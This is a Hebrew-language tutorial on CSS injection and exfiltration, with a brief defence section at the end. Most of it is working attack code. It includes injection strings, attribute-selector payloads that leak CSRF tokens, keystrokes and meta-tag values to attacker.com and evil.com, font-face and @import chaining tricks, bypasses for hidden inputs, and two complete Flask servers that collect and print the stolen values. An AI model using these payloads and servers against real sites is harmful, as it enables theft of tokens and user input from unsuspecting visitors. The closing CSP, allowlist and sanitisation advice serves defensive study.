לדלג לתוכן

הזרקת CSS ואקספילטרציה - CSS Injection and Exfiltration

הinjection CSS - יסודות

הinjection CSS מתרחשת כאשר תוקף יכול להחדיר תוכן CSS לדף. למרות ש-CSS אינו שפת תכנות, ניתן לנצל אותו לexfiltration מידע רגיש מהדף.

נקודות injection נפוצות

<!-- injection via style attribute -->
<div style="USER_INPUT_HERE"></div>

<!-- injection via style tag -->
<style>
  .widget { color: USER_INPUT_HERE; }
</style>

<!-- injection via CSS import -->
<link rel="stylesheet" href="https://example.com/style?theme=USER_INPUT">

דוגמה לinjection:

input: red; } body { background: url(https://attacker.com/css-injected) } .x {
result:
<style>
  .widget { color: red; }
  body { background: url(https://attacker.com/css-injected) }
  .x { }
</style>

הexfiltration מידע עם Attribute Selectors

הטכניקה המרכזית - שימוש ב-CSS attribute selectors כדי לזהות ערכים של שדות input:

/* check if the input value starts with 'a' */
input[value^="a"] {
  background: url(https://attacker.com/exfil?char=a);
}

/* check if the input value starts with 'b' */
input[value^="b"] {
  background: url(https://attacker.com/exfil?char=b);
}

/* and so on for every possible character */

כאשר הדפדפן מוצא input שערכו מתחיל ב-a, הוא טוען את ה-URL של התוקף. התוקף יודע את התו הראשון.

הexfiltration CSRF token

אם בדף יש input מוסתר עם CSRF token:

<input type="hidden" name="csrf_token" value="a7f3b2c9d1e4">

ה-CSS של התוקף:

input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?v=b); }
/* ... */
input[name="csrf_token"][value^="a7"] { background: url(https://attacker.com/exfil?v=a7); }
input[name="csrf_token"][value^="a8"] { background: url(https://attacker.com/exfil?v=a8); }
/* ... */

הבעיה: צריך לשלוח CSS חדש לכל תו, כי צריך לדעת את התו הקודם לפני שבודקים את הבא.


טכניקת Sequential Import

פתרון לבעיית הexfiltration הסדרתי - שימוש ב-CSS import שרץ שוב ושוב:

/* step 1: initial CSS */
@import url(https://attacker.com/exfil/step1);

השרת מחזיר CSS עם כל האפשרויות לתו הראשון:

/* server response - step1 */
input[name="csrf"][value^="0"] { background: url(https://attacker.com/leak?p=0); }
input[name="csrf"][value^="1"] { background: url(https://attacker.com/leak?p=1); }
input[name="csrf"][value^="2"] { background: url(https://attacker.com/leak?p=2); }
/* ... up to z, 0-9 */

כשהתוקף מקבל hit ל-?p=a, הוא יודע שהתו הראשון הוא a. עכשיו ה-import הבא:

/* server response - step2 (after discovering 'a') */
input[name="csrf"][value^="a0"] { background: url(https://attacker.com/leak?p=a0); }
input[name="csrf"][value^="a1"] { background: url(https://attacker.com/leak?p=a1); }
/* ... */

אוטומציה עם שרת

from flask import Flask, request, Response
import string

app = Flask(__name__)
leaked = ""
charset = string.ascii_lowercase + string.digits

@app.route('/exfil/start')
def start():
    css = generate_css("")
    return Response(css, mimetype='text/css')

@app.route('/leak')
def leak():
    global leaked
    leaked = request.args.get('p', '')
    print(f'[+] Leaked so far: {leaked}')
    return '', 200

@app.route('/exfil/next')
def next_step():
    css = generate_css(leaked)
    return Response(css, mimetype='text/css')

def generate_css(prefix):
    rules = []
    for char in charset:
        value = prefix + char
        rules.append(
            f'input[name="csrf_token"][value^="{value}"]'
            f'{{ background: url(https://attacker.com/leak?p={value}); }}'
        )
    # import for the next step
    rules.append(f'@import url(https://attacker.com/exfil/next?t={len(prefix)+1});')
    return '\n'.join(rules)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

טכניקת Font-Face Unicode-Range

טכניקה מתקדמת יותר שמשתמשת ב-@font-face עם unicode-range כדי לזהות תווים ספציפיים:

@font-face {
  font-family: exfil;
  src: url(https://attacker.com/leak?char=a);
  unicode-range: U+0061; /* 'a' */
}

@font-face {
  font-family: exfil;
  src: url(https://attacker.com/leak?char=b);
  unicode-range: U+0062; /* 'b' */
}

/* apply to an element that contains the text */
.target-element {
  font-family: exfil, sans-serif;
}

כאשר הדפדפן מרנדר טקסט עם התו a, הוא טוען את הגופן מ-URL של התוקף.

יתרונות

  • עובד על תוכן טקסט (לא רק attribute values)
  • ניתן לזהות אילו תווים קיימים בטקסט

חסרונות

  • לא שומר על סדר התווים
  • מזהה רק קיום, לא מיקום
  • חלק מהדפדפנים לא תומכים בטעינה לפי unicode-range

CSS Keylogger

רעיון תיאורטי - שימוש ב-CSS attribute selectors כדי לתעד הקלדות:

/* "keylogger" in CSS - only works with an input whose value updates in the attribute */
input[value$="a"] { background: url(https://attacker.com/key?k=a); }
input[value$="b"] { background: url(https://attacker.com/key?k=b); }
input[value$="c"] { background: url(https://attacker.com/key?k=c); }
/* ... for every character */

מגבלות:
- ב-React/Angular שמעדכנים את ה-value attribute, זה עלול לעבוד
- ב-HTML רגיל, value attribute לא מתעדכן אוטומטית עם ההקלדה
- הדפדפן שולח בקשה רק פעם אחת לכל URL (caching)

גרסה עם React

/* React updates the value attribute */
input[value$="p"] { background: url(https://attacker.com/log?last=p); }
input[value$="pa"] { background: url(https://attacker.com/log?last=pa); }
input[value$="pas"] { background: url(https://attacker.com/log?last=pas); }
input[value$="pass"] { background: url(https://attacker.com/log?last=pass); }

הexploit Scroll-to-Text Fragment

טכניקת scroll-to-text מאפשרת קישור לטקסט ספציפי בדף:

https://example.com/page#:~:text=secret%20token

ניתן לשלב עם CSS כדי לזהות אם טקסט קיים:

/* if the browser scrolls to the text, the element gets a pseudo-class */
:target::before {
  content: url(https://attacker.com/found);
}

מגבלות: עובד רק ב-Chrome, ולא תמיד עם CSS.


CSS Exfiltration Payload מלא

payload שמחלץ CSRF token מ-hidden input

/* Step 1: extract the first character */
input[name="csrf"][value^="0"]{--x:url(https://evil.com/l?v=0)}
input[name="csrf"][value^="1"]{--x:url(https://evil.com/l?v=1)}
input[name="csrf"][value^="2"]{--x:url(https://evil.com/l?v=2)}
input[name="csrf"][value^="3"]{--x:url(https://evil.com/l?v=3)}
input[name="csrf"][value^="4"]{--x:url(https://evil.com/l?v=4)}
input[name="csrf"][value^="5"]{--x:url(https://evil.com/l?v=5)}
input[name="csrf"][value^="6"]{--x:url(https://evil.com/l?v=6)}
input[name="csrf"][value^="7"]{--x:url(https://evil.com/l?v=7)}
input[name="csrf"][value^="8"]{--x:url(https://evil.com/l?v=8)}
input[name="csrf"][value^="9"]{--x:url(https://evil.com/l?v=9)}
input[name="csrf"][value^="a"]{--x:url(https://evil.com/l?v=a)}
input[name="csrf"][value^="b"]{--x:url(https://evil.com/l?v=b)}
input[name="csrf"][value^="c"]{--x:url(https://evil.com/l?v=c)}
input[name="csrf"][value^="d"]{--x:url(https://evil.com/l?v=d)}
input[name="csrf"][value^="e"]{--x:url(https://evil.com/l?v=e)}
input[name="csrf"][value^="f"]{--x:url(https://evil.com/l?v=f)}

/* using a custom property to load only when it matches */
input[name="csrf"] {
  background: var(--x);
}

שרת לקבלת המידע

from flask import Flask, request
import time

app = Flask(__name__)
exfiltrated = {}

@app.route('/l')
def leak():
    value = request.args.get('v', '')
    timestamp = time.time()
    exfiltrated[timestamp] = value
    print(f'[{time.strftime("%H:%M:%S")}] Leaked: {value}')
    return '', 200

@app.route('/status')
def status():
    # display all the stolen data
    sorted_leaks = sorted(exfiltrated.items())
    result = '\n'.join([f'{ts}: {val}' for ts, val in sorted_leaks])
    return result, 200, {'Content-Type': 'text/plain'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8443, ssl_context='adhoc')

מגבלות מעשיות

הגבלות הדפדפן

  • דפדפנים מבצעים caching של בקשות background-image
  • חלק מהדפדפנים לא טוענים background-image על hidden elements
  • display: none מונע טעינת background
  • type="hidden" על input לא תמיד מציג background

הbypasses למגבלות

/* turning a hidden input visible */
input[type="hidden"][name="csrf"] {
  display: block !important;
  position: absolute;
  width: 1px;
  height: 1px;
  overflow: hidden;
}

/* using the ::after pseudo-element */
input[name="csrf"][value^="a"]::after {
  content: url(https://attacker.com/leak?v=a);
}

/* using list-style-image instead of background */
input[name="csrf"][value^="a"] {
  list-style-image: url(https://attacker.com/leak?v=a);
}

הinjection CSS מתקדמת - ללא תגית style

כאשר יש injection point ב-attribute:

<!-- injection in the class attribute -->
<div class="USER_INPUT"></div>

ניתן להשתמש ב-attribute injection:

input: x" style="background:url(https://attacker.com/injected)" class="y
result: <div class="x" style="background:url(https://attacker.com/injected)" class="y"></div>

כאשר יש injection ב-style attribute:

input: ;background:url(https://attacker.com/injected)
result: <div style="color:red;background:url(https://attacker.com/injected)"></div>

הexfiltration מידע מ-meta tags

/* extracting meta tag content */
meta[name="csrf-token"][content^="a"] ~ * {
  background: url(https://attacker.com/leak?v=a);
}

/* meta tags are usually in head and not visible */
/* need to use a sibling selector */
head, head * {
  display: block;
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://attacker.com/leak?v=a);
  display: block;
}

הגנה

CSP מחמיר לסגנונות

Content-Security-Policy: style-src 'self' 'nonce-random123'; img-src 'self'

הימנעות מinjection CSS

// don't put user input inside CSS
// bad:
element.style.color = userInput;
element.setAttribute('style', 'color: ' + userInput);

// good:
let allowedColors = ['red', 'blue', 'green'];
if (allowedColors.includes(userInput)) {
  element.style.color = userInput;
}

שימוש ב-CSS sanitization

// sanitize CSS values
function sanitizeCSSValue(value) {
  // removes url(), expression(), import, etc.
  return value.replace(/url\s*\(/gi, '')
              .replace(/expression\s*\(/gi, '')
              .replace(/@import/gi, '')
              .replace(/javascript:/gi, '')
              .replace(/;/g, '');
}

הפרדת CSRF tokens מ-DOM

// instead of a hidden input, keep the token in JavaScript only
// not accessible to CSS selectors
const csrfToken = (function() {
  let token = null;
  return {
    set: function(t) { token = t; },
    get: function() { return token; }
  };
})();

סיכום

הinjection CSS היא טכניקת תקיפה שמאפשרת exfiltration מידע רגיש מדפי HTML ללא JavaScript. הטכניקה מנצלת attribute selectors ו-background URLs כדי לשלוח מידע לשרת התוקף. למרות מגבלות מעשיות, היא יעילה במיוחד לexfiltration CSRF tokens ומידע מ-hidden inputs. ההגנה דורשת CSP מחמיר, הימנעות מהחדרת קלט משתמש לתוך CSS, והפרדת מידע רגיש מ-DOM.